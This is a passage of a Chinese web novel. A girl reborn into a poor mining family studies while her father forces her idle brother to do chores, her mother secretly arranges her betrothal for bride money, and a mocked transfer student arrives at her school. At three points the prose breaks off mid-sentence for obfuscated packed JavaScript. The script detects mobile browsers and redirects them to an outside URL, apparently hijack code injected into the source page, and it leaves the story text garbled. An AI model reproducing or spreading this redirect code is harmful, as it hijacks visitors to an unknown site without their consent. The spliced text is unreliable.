转性 南秉义刚从井下上来,矿灯带子还勒在额头上,灰混着汗水在他脸上沟壑里结了痂。 他没卸灯,径直走到炕沿边坐下,烟袋锅子在鞋底“咔嗒”磕了两下,簌簌烟灰落在打满补丁的裤腿上,像撒了把坟头土。 “挑水、劈柴、喂猪,往后都归天贵。”他声音带着井下带上来的哑,“雁子就专心上课,鸡她得空搭把手就行。” “爸!”南天贵像被踩了尾巴的狗,猛地从门槛上蹦起来,手里刷了一半的破胶鞋“啪嗒”掉进泥水盆里,溅起的脏水弄污了他刚费力刷白的鞋帮。 “凭啥?这些不都是娘们儿的活计吗?让她个大姑娘家清闲待着,我出去干这个,矿上那些兄弟见了,脊梁骨不得给我戳穿?!” 他原以为前阵子偷钱挨了顿狠揍,夹着尾巴装几天孙子,就能重回“宝贝疙瘩”的宝座——饭张口,衣伸手,自有南雁忙前忙后伺候。 “哐当!” 灶房传来一声巨响,包兰芝手里的铁勺子狠狠撞在锅底,滚烫的玉米糊糊溅出来,烫得她手一缩,指腹立刻泛起红肿。 她顾不上疼,撩着沾满面疙瘩的围裙就冲了出来,头发丝里还挂着灶灰:“秉义!你昏头了?天贵细皮嫩肉的,哪干过这些粗重活?雁子闲着也是闲着,多干点能掉块肉?” 南秉义没理会吵嚷的妻儿,目光越过他们,落在角落里的南雁身上。 这姑娘刚放学回来,怀里还抱着那本卷了边的《红楼梦》——去年她考了年级第一,老师特意奖的。 前阵子矿上搞“知识竞赛”,南雁拿了一等奖,奖品是块带花纹的肥皂。 包兰芝当时还嘀咕“这肥皂能洗半个月衣裳”,南秉义盯着女儿站在简陋领奖台上的样子,头一回觉得,这丫头眼里的光,竟比他那盏用了多年的矿灯还亮。 他这辈子在黑黢黢的井下刨食,见过太多因为不识字被工头坑骗,克扣工钱的。他不想女儿也走这条看不见头的黑路。 “吵啥?”南秉义终于开口,烟袋锅子在粗粝的掌心转了一圈,“这个家,我还做得了主!天贵十六了,该有点当哥的担当,总不能一辈子趴在爹娘身上吸血!雁子能读,就让她读!将来说不定真能走出这座吃人的矿!” 他目光陡然锐利,钉在南天贵身上,“再闹,信不信我打断你的腿!” 最后几个字,裹着寒气,砸得人心头发颤。 矿灯的光正好打在他脸上,皱纹里的尘纤毫毕现,眼底压着的怒火,像是能把这阴冷的屋子点着。 南天贵被那眼神慑住,气焰矮了三分,可少年人的虚荣和怨气顶着他脖子:“爸!你凭啥这么护着她?我才是你亲儿子!让她个丫头片子在家享清福,我出去丢人现眼?我以后在矿上还怎么抬头?” 南秉义“嚯”地站起身,常年攥矿镐的手青筋虬结,指节捏得“嘎嘣”响。 他往前踏了两步,阴影笼罩住南天贵:“亲儿子?你偷家里救命钱去吃喝的时候,想过你是亲儿子?把你妈气背过气的时候,想过你是亲儿子?家里揭不开锅,弟妹饿得哭的时候,你怎么不想想你这亲儿子干了啥?!今天这活,你干也得干,不干,我就当没生过你这号东西!” 包兰芝捂着烫伤的手,急得直跺脚:“秉义!天贵他没干过啊!雁子从小干惯了,让她多干点怎么了?家务活天生就是女人的事儿!你这是要把咱家独苗往死里逼啊!” 她说着就要去拉南秉义的胳膊,却被男人一甩袖子搡开,踉跄着差点撞上炕沿,手背上水泡破了,疼得她倒抽冷气。 南雁抱着书本站在阴影里,看着父亲宽厚却已微驼的背影,心里像打翻了五味瓶,又酸又胀。 前世,直到她为了逃离这个家、这座矿,仓促嫁给一个不相干的男人,父亲都没对她说过一句暖心话。 可这一世,这个沉默寡言的男人,竟为了她读书的事,不惜与妻儿撕破脸。 其实,前世她为数不多感受到父爱的微光,是在女儿小安出生后。 那时她刚生产,男人没本事,外头欠一屁股债,家里穷得叮当响。 南秉义知道后,默不作声买了奶粉、小衣裳,坐了十几个小时颠簸的车送来。 因怀孕时营养不良,小安先天不足,体弱多病。她又是高龄产子,精力不济。 南秉义便硬压着包兰芝来照料。 包兰芝百般不情愿,拗不过丈夫的脾气,勉强伺候完月子,便一声不吭溜回了老家,再未踏足。 而在所有孙辈里,南秉义最疼的便是小安。 即便骨子里重男轻女的观念根深蒂固,但只要长孙有的,他总会想方设法匀一份给小安。 这是其他孩子从未有过的殊荣。甚至他临终前,浑浊眼里最后映出的、嘴里含糊念叨的,还是小安的名字。 她始终不明白,为何父亲独独偏爱小安。或许爱本就无需理由,如同她永远想不通,包兰芝为何独独不喜她。 “咋了?你不是女人?天贵就是被你惯成这贼胆包天的德行!老话说从小偷针长大偷金,他未成年就敢偷家底,你不怕他日后去抢银行?!”南秉义冷笑,烟袋锅子重重磕在炕沿,迸溅的火星子落在灰扑扑的被褥上,烫出几个焦黑的洞。 “他都十六了,再过两年就得下井!现在连挑水劈柴都喊累,将来怎么扛起一个家?雁子能读书,能给家里拿奖状争光,你怎么不盼她好?” 包兰芝被噎得哑口,只能抹着眼泪嘟囔:“读书有啥用?丫头片子终归是别人家的人,读再多也是给别人做嫁衣!” “你懂个屁!”南秉义罕见地对妻子红了脸,“我在井下刨了十几年的矿,见的还少?多少兄弟因为不认字,被工头把‘十’改成‘千’,血汗钱就这么没了!雁子要是能读出去,将来就能堂堂正正走进城里,不用像咱们,一辈子窝在这黑窟窿里,跟阎王爷掰手腕!” 他喘了口粗气,目光扫过包兰芝,“你别以为我不知道你肚里那些弯弯绕绕,几个姑娘,你唯独看雁子不顺眼——这事就这么定了!” 南天贵见父亲动了真怒,气焰又矮一截,嘴上却不服软:“走出矿又咋样?她个女的,还能当矿长不成?” 南秉义:“就算当不了矿长,也比在这烂泥坑里熬死强!明儿起,你敢偷奸耍滑,我就把你锁柴房,饿到你认清自个儿是谁!” 南天贵还想犟,包兰芝赶紧扯他胳膊,凑到耳边低语:“你爸正在气头上,先应着,等他消了火,妈再想法子。” 南天贵这才悻悻踢了脚旁边的破水桶,算是认了。 第二天,天还墨黑,南秉义就提着矿灯进了南天贵的屋。 光柱扫过积尘的蚊帐,刺得南天贵眯缝起眼:“爸,鸡都没叫呢……” “六点了,挑水去。”南秉义声音不带半点暖意,“矿口那井,去晚了排不上。” 南天贵磨磨蹭蹭套上衣服,满肚子窝火。他拎着水桶出门时,看见南雁已经坐在院里小凳上就着微光看书了。 晨熹透过老槐树光秃的枝桠,在她翻旧的课本上投下斑驳碎金。 他心里那股邪火“噌”地冒起来,故意把水桶往地上一摔,“哐当”巨响惊飞了院角觅食的麻雀。 南雁抬起头,平静地看了他一眼,复又低下头,继续看书。 她知道南天贵存心找茬,但现在没工夫跟他置气。下个月期中考试,她必须抓住每一个机会。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560566|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >南天贵挑着水桶往村口走,扁担压得他未经磨砺的肩膀生疼。 路上遇见矿上几个游手好闲的半大小子,他们叼着劣质烟卷,看见南天贵这模样,哄笑起来:“哟,天贵,改行当挑夫了?你家那能干妹子呢,咋让你这大少爷干这活儿?” 南天贵脸瞬间涨成猪肝色,热血“嗡”地冲上头顶。他撂下水桶就想扑上去干架,可父亲“饿你三天三夜”的话像冷水浇下。 他咬碎后槽牙,重新挑起水桶,几乎是跑着离开,肩膀火辣辣地疼,心里把南雁咒了千万遍。 等他挑着水回来,日头已近中天。两桶水洒得只剩小半,裤腿湿透,冷风一吹,寒彻骨缝。 南秉义正在院里劈柴,斧头带着风声落下,“砰砰”巨响震得人心慌。 看见南天贵这副狼狈相,他抄起手边一块柴火就砸了过去:“挑个水磨蹭到晌午?又去找你那帮狐朋狗友鬼混了?” 柴块“咚”地砸在南天贵脚边,吓得他连连后退,差点仰面摔进柴堆:“没……没有!路远,我……我走不快!” “走不快?赌钱输光了跑回来要钱的时候,你腿脚可比兔子还利索!”南秉义大步过来,一把夺过扁担,带起的水珠甩了南天贵一脸,“今儿不把这堆柴劈完,一口饭都别想碰!” 南天贵看着那堆得像小山的柴火,眼圈瞬间红了。 他拿起斧头,笨拙地砍下去,斧刃歪斜着卡进木头,震得他虎口发麻。没几下就汗流浃背,衣服后背深了一块,沾满灰土。 包兰芝在灶房门口瞅着,心疼得像被剜了肉,手里的锅铲差点脱手。 她不敢劝盛怒的丈夫,只能趁南秉义转身的间隙,飞快从怀里掏出块冷硬的窝头,溜到南天贵身边塞进他手里,“快啃几口,别让你爸瞧见。” 南雁看书眼涩,起身去灶房帮烧火。她坐在灶膛前,橘红火光映着她没什么表情的脸。 看着南天贵吃力劈柴的背影,心里无波无澜。 前世,南天贵就是这么个德行,好逸恶劳,把家里稍值钱点的东西偷出去换赌资,最后连她东拼西凑的学费也摸了去,彻底断了她读书的路。 这一世,父亲让他干活,是罚,是教,也是给这个摇摇欲坠的家,寻一条或许能喘气的活路。 下午,南雁去学校。 教室窗户玻璃裂着大口子,寒风飕飕往里灌。 老师裹着臃肿的棉袄,粉笔在黑板上吱呀疾走:“下个月市里中学生知识竞赛,咱矿中学有两个名额,谁想去?” 南雁几乎是瞬间举起了手,这是跳出矿区,窥见外面世界的一线机会。 只要能在市里拿名次,通往未来的路,或许就能宽一寸。 同桌悄悄拽她袖子:“市里比赛可难了,咱矿上的孩子,去了也是陪跑,别丢人了。” 南雁抿紧嘴唇,不发一言。 放学回家,她看见南天贵还在院里劈柴,斧头落下依旧歪斜,不少柴火劈得四处飞溅。 包兰芝坐在旁边纳鞋底,针脚凌乱,嘴里不停叨咕:“这日子没法过了……儿子当牛做马,丫头倒清闲当起小姐……早知这样,当初就不该让她摸书本……” 南雁没理会那絮叨的怨气,径直走进自己那方小天地,摊开课本。 她心里清楚,只有攥紧知识这根绳索,才能攀出这令人窒息的深渊。 往后日子,南天贵虽百般不情愿,却也在父亲高压下日日劳作。 挑水不再故意泼洒,劈柴也学着辨认木纹。 包兰芝看在眼里,疼在心上,却再不敢明着违逆南秉义。 她明白,这次男人是铁了心要掰正儿子。再闹,怕是连她自个儿也要搭进去。 14. 今天是个好机会 包兰芝的顶针在粗麻鞋底上“咚”地磕出个闷响,针脚歪斜地扎进布里,像她此刻乱糟糟的心绪。 炕沿被她坐得滚烫,怀里却像揣了只没头苍蝇,嗡嗡乱撞,撞得她心口发紧,五脏六腑都跟着翻腾。 窗外,南天贵劈柴的钝响一声声传来,“砰…砰…”,无力又沉闷,不像劈在木头上,倒像砸在她心尖最嫩的那块肉上。 要不是为了南雁那个丫头读书,她的天贵,她的心肝肉,何至于受这种罪?! 包兰芝撂下手里纳了一半的鞋底,粗鲁地撩开那块灰扑扑的窗帘角,急切地朝外望去。 院子里,十六岁的南天贵正踮着脚,把斧头举过头顶,脸憋得通红,斧头落下时却偏了准头,只在木头上蹭出道白印。 他晃了晃胳膊,大概是累得酸了,却不敢停,又咬着牙把斧头举了起来。 包兰芝的眼泪差点涌出来。 这可是她的心头肉啊!打小到大,别说是劈柴挑水,就是地上的泥,她都舍不得让天贵多踩一脚。 那些脏活、累活,生来就该是南雁那丫头的。 那丫头皮实,耐打耐磨,骂几句、捶两下也不吭声,哪像她的天贵,细皮嫩肉,娇贵得跟刚出锅的豆腐似的,碰一下都让她心惊肉跳。 可现在呢? 就为了南雁能安心捧着那几本破书,南秉义那个老糊涂,竟狠心把家里所有的重担都压在了天贵尚且单薄的肩膀上! 天不亮就被吼起来挑水,晚上累得倒头就睡,连跟她这个当娘的诉苦撒娇的力气都没了。 昨天她给天贵换衣服,看见他肩膀上被扁担压出的红印,心像被钝刀子割一样疼。 “死丫头片子,读那么多书有什么用?”包兰芝对着空气啐了一口,声音又恨又急,“将来还不是要嫁人生娃,能给你哥换彩礼,还是能给老南家传宗接代?” 她越想越气,随手抓起炕边的鸡毛掸子,对着炕席一通乱抽。 南秉义就是被猪油蒙了心!被南雁几句“考学”、“出息”的迷魂汤灌得失了智,忘了谁才是能给老南家传宗接代,顶立门户的真根苗! 那丫头片子,自从八岁那年发了场高烧,像是换了个人。 从前见了她就像老鼠见了猫,眼神躲闪,大气不敢出。 现在可好,那眼神看人时又冷又静,带着一股子让人心头发寒的劲儿。 上次她不过数落了南春那赔钱货几句,南雁居然就敢插嘴,说什么“五妹也累了一天,妈您少说她两句”,当时气得她血往头上涌,差点就把手里盛着糊糊的碗砸过去。 不行!绝对不能再这么下去了!不能再由着他们父女俩一个昏头,一个作妖! 那个被她压了好几天的念头,突然像野草遇到了春雨,疯狂地冒了出来——说亲! 必须尽快把南雁的亲事定下来! 只要定了亲,收了彩礼,南秉义再想让她读书,那边婆家也不会答应。 谁家会愿意让一个定了亲,马上就是别人家媳妇的姑娘,还在外面抛头露面读什么书? 简直是笑话! 到时候,彩礼钱稳稳到手,既能给她的天贵扯几身像样的新布做衣裳,还能偷偷攒下一笔,留着将来给天贵说媳妇用! 包兰芝的眼睛亮了起来,她猛地站起身,在逼仄的屋子里来回踱步。 炕席底下,那封叠得方方正正,来自表妹的信,还有那个被她偷偷藏进去,装着定钱的蓝布包,像块烧红的碳,烫得她坐立难安,手心一阵阵发痒冒汗。 前阵子,她背着南秉义和南雁去见表妹的情形,又清晰地浮现在眼前。 表妹家那间低矮的土坯房,光线昏暗,空气中飘着股霉味。 表妹当时就坐在炕沿上,双手紧紧攥着那个蓝布包,笑得见牙不见眼:“兰芝姐,我跟你说,这回这户人家,那可真是打着灯笼都难找的好人家!男方是邻村的,家里开着个小杂货铺哩!进进出出都是现钱,条件殷实得很!你看看这定钱。” 她把布包往包兰芝手里塞,语气带着炫耀,“人家一出手就是二百块!真金白银!剩下那一半,等姑娘过了门,一分都不会少你的!” 当时她捏着那个沉甸甸的布包,心里又激动又慌乱。 两百块啊!她这辈子都没一次性见过这么多钱!够给天贵买两身新棉袄,够家里吃好几个月的白面馒头。 可慌乱也跟着来了,这事要是被南秉义知道,他那驴脾气,非得把屋顶掀了不可。 还有南雁,那丫头现在越来越有主意,要是知道了,指不定会闹出什么事来。 “他表姨,这事……还得瞒着。”包兰芝当时声音发颤,手指紧紧攥着布包,“雁子她爸倔,等过阵子我再跟他说。” “懂!我都懂!”表妹拍着胸脯保证,“先定下,等年纪到了再办事!我嘴巴严实着呢,绝对不会走漏风声!” 话是这么说,可包兰芝心里清楚,这事就像揣了个炮仗,迟早得炸。 尤其是这两天,南秉义看南雁那眼神,带着她从未见过的期许和暖意,昨天居然还跟她念叨什么“雁子读书上有灵气,脑子活泛,将来没准真能考到市里去”,气得她当时心口就堵得慌,晚饭都没咽下去几口。 今天是个好机会! 南秉义下井了,天贵被逼着去后山拾柴火,南雁去了学校,南秀带着弟妹挖土豆,家里就她一个人。 包兰芝不再犹豫,从箱子里翻出那身见客才穿的军改大衣,对着镜子拢了拢头发。 她的头发有些散乱,眼角也有了细纹,可一想到那笔彩礼,脸上就露出了几分急切的笑意。 手指碰到炕席边缘时,她顿了顿,还是咬牙掀开,把装着定钱的布包又往里塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560567|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了塞。 不能带钱去,免得表妹觉得她急着要钱,可又得让表妹知道,这事她定了,顺便问问,能不能先把剩下的彩礼支一部分出来。 这个念头让她脸颊发烫,心里骂了自己一句“贪心”,可脚步却更快了。 矿区的路不好走,坑坑洼洼的,风卷起地上的尘,扑了她一脸。 她抬手用袖子擦了把脸,感觉这沙土都钻进了肺里,堵住了气管,让她上不来气。 再次敲开表妹家的门,表妹看到包兰芝,脸上闪过一丝诧异,随即又堆起热络的笑容:“兰芝姐?咋又来了?快进来坐!” “不…不进去了,”包兰芝站在门口,半个身子还在门外,她紧张地左右瞟了两眼,像蚊子哼哼,“他表姨,我就说两句话,说完就走。” 她舔了舔有些干裂的嘴唇,心脏在胸腔里擂鼓一样狂跳:“雁子……雁子那事,我琢磨好了,就……就这么定了!你跟那边说,我们这边,没……没意见!” 表妹的眼睛瞬间像通了电的灯泡,唰地亮了,声音都扬高了几分:“真的?!哎呦!那可真是太好了!兰芝姐你放心,我这就去跟那边报喜,让他们把心安安稳稳放回肚子里!” 包兰芝双手紧张地搓着衣角,眼神躲闪,不敢直视表妹:“就是……他表姨,家里……家里最近实在是有点急用,手头紧巴得厉害……你看那边……那边剩下的钱,能不能……能不能想个法子,先支一部分给我们应应急?” 表妹脸上那灿烂的笑容肉眼可见地僵了一下,眼珠子在眼眶里滴溜溜转了两圈,随即露出十分为难的神情,拖长了语调:“哎呦,我的兰芝姐啊——这……这怕是不合规矩啊!咱们当初不是都说好了嘛,等姑娘顺顺当当过了门,剩下那一半彩礼,人家肯定一分不少地送到你手上!这现在……” “我知道不合规矩!我知道!”包兰芝急忙打断她,脸上挤出近乎哀求的笑容,往前凑了凑,“可他表姨,你人面广,路子宽,最是有本事了!你就帮帮姐姐,去跟那边好好说道说道?哪怕……哪怕再先给个几十块也行啊!就当是救救急了!” 她的心怦怦直跳,既觉得自己这要求丢份,又抑制不住对钱财的渴望。 有了钱,她就能立马去供销社称上几两糖块,塞给她的天贵甜甜嘴;就不用再看着南秉义为了几毛几分钱愁眉不展、唉声叹气;甚至……甚至还能偷偷昧下一点,攒起来,将来给她的天贵说一门顶好的媳妇! 表妹上下打量着她,沉吟了片刻,才勉为其难地松了口,叹气道:“唉……谁让咱们是实在亲戚呢!行吧,看在姐姐你这么难处的份上,我……我就豁出这张老脸,去帮你试试看!不过咱可话说在前头,成不成的,我可不敢打包票!人家要是实在不答应,姐姐你可别怨我!” “谢谢他表姨!谢谢你!”包兰芝连忙道谢,心里稍稍松了口气。 15. 转校生 从表妹家出来,天光已经稀薄得撑不起半分亮色。 包兰芝忍不住想,南雁要是知道了她今天在表妹家,几乎是半推半就地应下了那门亲事,会怎么样? 那丫头,早不是几年前那个打不还手,骂不还口的受气包了。 自从差点病死又活过来,人就跟脱胎换骨似的,眼神里多了她看不懂的东西。 万一闹起来…… 包兰芝用力地甩了甩头,像是要把这念头从耳朵里倒出去。发丝被风吹乱,粘在出了汗的额角。 为了天贵!为了这个家!她在心里恶狠狠地对自己说,就算南雁要闹个天翻地覆,她也得把这窟窿堵上! 这骂名,她背了! 走到自家院门前,包兰芝的脚步顿住了。手抬起来,悬在半空,竟有些不敢去推。 门里静悄悄的,死寂里透着一股让人心慌的意味。她鼓足勇气推开门,老旧的木轴发出不堪重负的呻吟。 院子里,只有两只芦花老母鸡在墙角有一搭没一搭地刨着土,对她这个女主人爱答不理。 她习惯性地踱到鸡窝边,伸手往那干草堆里一摸——空的。 一股无名火“噌”地窜了上来。 这瘟鸡! 下蛋越来越不勤快,肯定是让南雁读书的事给妨的!都是那丫头,心野了,不肯安安分分替家里分担,才惹得家宅不宁! 她抬脚,泄愤似的踹向鸡窝旁一个豁了口的破瓦盆。 “哐当!” 瓦盆滚出去老远,惊得两只母鸡“咯咯”乱叫,扑棱着翅膀逃开。 回到屋里,炕席冰凉。 包兰芝没点灯,就那么直挺挺地坐在炕沿上,看着窗外最后一点天光被墨色吞没。 心里的慌,像水底的暗草,随着夜色疯长。 终于,院门外传来了脚步声,踉踉跄跄,还伴着沉重的拖拽声。 是南天贵回来了。 少年单薄的脊梁几乎被那一大捆柴火压弯,脸煞白,嘴唇干裂,汗水浸透了粗布衣裳,紧紧贴在身上,混着草屑和泥土,狼狈得像刚从泥潭里捞出来。 他看见屋门口的包兰芝,嘴一瘪:“妈……” 这一声,像根针,瞬间扎破了包兰芝心里所有鼓胀的不安和愧疚。 汹涌而出的,是几乎将她淹没的心疼。 “哎哟我的儿!”她几步冲上去,手忙脚乱地帮儿子卸下那捆沉得离谱的柴火,触到他滚烫的额头,声音都变了调,“这是要了命了!快歇着,快歇着!妈给你倒水!” 她转身冲到桌边,哆哆嗦嗦地倒了碗凉白开,递到南天贵嘴边。 少年渴极了,咕咚咕咚大口灌下,水渍顺着下巴流到脖颈。 包兰芝忙不迭地用袖子去擦他脸上的汗和灰,动作又快又急。 “爸……爸还说我偷懒……”南天贵喘着粗气,委屈得眼圈发红,“这么多柴,我背了好几趟……都快累散架了……都怪南雁!要不是她非要读那个破书,我哪用受这个罪!” “别说了,儿啊,再忍忍。”包兰芝打断他,眼神闪烁不定,“妈正在想办法,就快好了……就快好了……” 她嘴上安抚着儿子,心里那个念头变得更加坚硬冰冷。 必须快!不能再拖了! 又过了一会儿,院门再次被轻轻推开。 南雁背着书包走了进来,书包带子断了一根,用颜色不一的绳子勉强系着。 她没看炕上的母子,径直走到屋里那个属于她的狭窄空间,安静地把书包放下,然后转身走向灶台,准备像往常一样帮忙。 包兰芝迁怒道:“不用你假好心!读你的圣贤书去!别在这儿碍手碍脚!” 南雁伸向水瓢的手顿在了半空。 她缓缓抬起头,目光平静地看向包兰芝。 那双眼睛很清澈,像秋日雨后洗过的天空,里面没有包兰芝预想中的愤怒,也没有常见的委屈,就那么安安静静的,深不见底。 这目光,反而让她心虚。 她仓皇地扭过头,手下意识地捂住了胸口,那里堵得发慌。 南雁什么也没说,默默地收回手,走到炕边,从书包里拿出课本,转身到了院子里。 包兰芝隔着窗户看着那个背影,几乎难以察觉的悔意,像阴湿处的藤蔓,悄然爬上心头。 她想起南雁更小一点的时候,会把自己舍不得吃的糖块偷偷塞到天贵手里。 想起自己有一次病得起不来炕,是这丫头笨手笨脚地端来热水,用湿毛巾敷她的额头。 想起无数个天色将晚的傍晚,她总是安静地站在门口,望着矿井的方向,等南秉义下工回来…… 但这柔软的触动,还没来得及蔓延,就被南天贵疲惫的呻吟和对那笔丰厚彩礼的迫切渴望,狠狠地压了下去。 她攥紧了拳头,强迫自己坚定,只要定了亲,收了全款,一切就都会好起来的。 天贵不用再受苦,这个家也能松快些。 * 清晨,矿区子弟小学,第三遍上课铃的余音还在空气里震颤,教室后墙的木门,便被推开了。 班主任李老师率先走进来,一身洗得发白的藏青色卡其布中山装,扣子扣到最上面一颗,严谨得近乎刻板。 她身后跟着一个陌生的男孩。 原本如同沸水般的教室,霎时间万籁俱寂。 几十道目光,带着孩童不加掩饰的好奇与审视,像密集的蛛网,瞬间缠绕在那个男孩身上,将他钉在了教室前方的空地上。 那男孩站在李老师身侧,身量比班里最高的体育委员还高出小半头,骨架却纤细,肩膀窄窄的,透着少年人尚未舒展开的青涩。 但最引人注目的,是他的模样。 一头深棕色的头发,带着天然卷曲的弧度,清晨的阳光恰好从窗格斜射进来,在他发梢跳跃成细碎的金色光斑。 皮肤是近乎透明的白皙,在这个普遍被风沙和灰打磨得粗糙黝黑的矿区孩子中间,显得格外突兀。 鼻梁高挺得近乎锋利,眼窝深邃,嵌着一双纯黑色的眼瞳,眼尾微挑,勾勒出几分模糊而奇异的异域轮廓。 他身上那件浅灰色的西装,料子挺括,领口系着个歪歪扭扭的深色领结,与教室里朴素氛围,形成了尖锐的对比。 他站在那里,不像个学生,倒像是一株误闯入煤堆的白茉莉。 “同学们,安静。”李老师扶了扶鼻梁上厚重的黑框眼镜,镜片后的目光锐利地扫过全场,声音跟她手里那根磨得光滑的旧教鞭一样,“这位是新转来的同学,谢承景。以后大家就是同班同学,要互相帮助,共同进步。不许欺负新同学,听到了吗?” “谢承景?”底下立刻有孩子小声嘀咕,声音没压住,在寂静的教室里扩散,“这名字咋恁怪?跟小人书里的少爷似的……” “你看他那头发,卷毛狗似的……” “还有那眼睛,凹进去那么深,吓人不……” “怕不是个洋鬼子崽子吧?” 最后那句带着恶意揣测的低语,瞬间激荡开一片压抑的嗡嗡议论。 孩子们的目光变了质,好奇被排斥取代,探究染上了鄙夷,几个坐在前排的男孩甚至毫不客气地伸手指点,眼神像是在打量集市上待售的牲口。 谢承景微微垂着眼睑,浓密卷曲的睫毛像两把小扇子,在过于白皙的脸颊上投下淡淡的阴影,掩去了他眼底的所有情绪。 只有那只紧紧攥着黑色皮质书包带子的手,泄露了他此刻的紧绷。 他整个人,像一张被拉到极致的弓,沉默地承受着四面八方射来的无形箭矢,明明站在人群中央,却好像被隔绝在透明的壁垒之外,周身弥漫着落寞。 李老师的教鞭在讲台上不轻不重地敲了一下,暂时压下了骚动。 她的目光在教室里逡巡,寻找着空位:“谢承景你先找个空位坐下来。” 谢承景似乎也看到了,靠后排确实有两个空位。 他刚有移动的迹象,旁边一个穿着崭新花衣服的胖男孩立刻像是被蝎子蜇了,飞快地把自己的旧帆布书包往空凳子上一撂,下巴一扬,大声宣告:“这有人了!” 另一个空位旁扎着羊角辫的女孩,更是连眼皮都没抬,直接扭过身子,故意和同桌高声说笑起来,用行动划清了界限。 谢承景的脚步僵在了原地。 他的嘴唇抿得发白,与他的肤色融为一体,更显得脆弱。 黑曜石般的眸子里,飞快地掠过一丝难堪,像是光滑镜面上骤然裂开的细纹。 进退维谷。 他垂在身侧的另一只手,无意识地蜷缩了一下,掐住了裤缝。 南雁坐在靠窗的第三排。 她的同桌王刚,父亲工作调动,全家搬去了新矿区,旁边的位置已经空了三天。 她安静地看着讲台旁那个成了众矢之的的男孩,看着他努力挺直却依旧显得单薄的脊背,看着他无声承受的窘迫与孤立。 心里某个角落,像是被细小的针尖不轻不重地刺了一下。 那种被目光剥离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560568|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,被归为“异类”的滋味,她太熟悉了。 因为左腿那点不足,她走路的姿势总是不够利落,班里调皮的男生常在她背后夸张地模仿,偷偷给她起外号叫“跛脚雁”。 在家里,她是夹在中间的女孩,上面有哥哥,下面有弟弟妹妹,新衣服永远是南天贵的,白面馒头也总是紧着儿子,她能捡哥哥的旧衣服穿已算不错。 就连这上学的机会,也是父亲南秉义顶着母亲包兰芝的抱怨,硬争来的。 若非如此,她恐怕会像无数矿区女孩一样,初中读不完就辍学回家,帮着家务,等着年纪到了,被一桩彩礼打发出去,重复着母亲那样一眼能看到头的人生。 幸好……幸好,她得到了重新来过的机会,挣脱那既定的轨迹。 可这个谢承景,他的“不同”太醒目,太具有攻击性了。 深棕的卷发,过于立体的五官,那身与周遭环境割裂的穿着……他几乎是从天而降,就自带了一个醒目的靶子,连一丝缓冲和隐藏的余地都没有。 李老师的脸色沉了下来,教鞭再次抬起,眼看就要强行指定座位。 南雁站了起来。 她的动作并不大,甚至有些轻,但这突如其来的起身,足以让全班的目光,又一次聚焦到她身上。 惊讶,不解,疑惑她为何要招惹这个“麻烦”;还有几分看好戏的兴味,后排几个男生已经交换着暧昧的眼神,等着看她这个“跛脚雁”和“洋鬼子”凑在一起,会怎样被大家彻底孤立。 南雁没有理会那些交织的视线。 她走到过道边,伸出右手,用有些磨损的袖口,仔细擦了擦旁边空位上的浮灰。 然后,抬起头,望向讲台方向:“老师,我这儿有空位。” 李老师明显愣了一下,审视的目光在南雁平静的脸上停留片刻,终于点了点头,语气缓和了些许:“好。谢承景,你就坐南雁旁边。” 谢承景也愣住了。 他倏地抬起头,看向南雁,那双深邃的黑眼睛里先是闪过措手不及的惊讶,仿佛不敢相信这充满敌意的环境里,会伸出一只接纳的手。 随即,那惊讶融化成一缕不敢确定的感激,如同在漫长寒夜里行走的人,骤然窥见了一星微弱的火光。 他迟疑地迈开脚步,崭新的小皮鞋鞋底轻轻摩擦着粗糙的水泥地面,发出声响。 在全班同学意味复杂的注视下,他一步步走到南雁旁边的空位,小心翼翼地坐下,尽量不碰到旁边的桌凳,把自己缩成尽可能小的一团。 “谢谢。”他坐下时,用几乎只有两人能听见的气音说道,中文发音意外的标准。 南雁没应声,只是点了下头,把摊开的语文课本往自己这边挪了少许,给他腾出更多桌面空间,然后便重新低下头,目光落在密密麻麻的文字上。 她能清晰地感觉到周围那些若有若无的打量,像蛛网般粘腻,也能听到身后压低的窃窃私语。 但她不在乎。 就像重生回来后,刘小萍愿意帮她代卖攒下的鸡蛋,或许只是出于一点零星的不忍;此刻她让谢承景坐过来,也仅仅是因为,不想眼睁睁看着一个人,像上辈子无助的自己那样,孤立无援地站在人群中央,承受那些无关的审判。 课间休息的铃声,如同赦令,瞬间引爆了教室。 孩子们冲出教室,呼喝着涌向外面中央的空地,追逐打闹,弹珠滚地的清脆声、皮筋拍打地面的“啪啪”声、尖叫声笑骂声混杂在一起,喧嚣得几乎要掀翻屋顶。 然而,这份热闹仿佛有一道无形的边界,在谢承景的座位旁戛然而止。 没有人靠近他,甚至有人经过他座位时,会刻意绕一个小弧线,仿佛他周身散发着什么不洁的气息。 谢承景独自坐在座位上,低着头,额前柔软的卷发垂下来,遮住了他的眉眼。 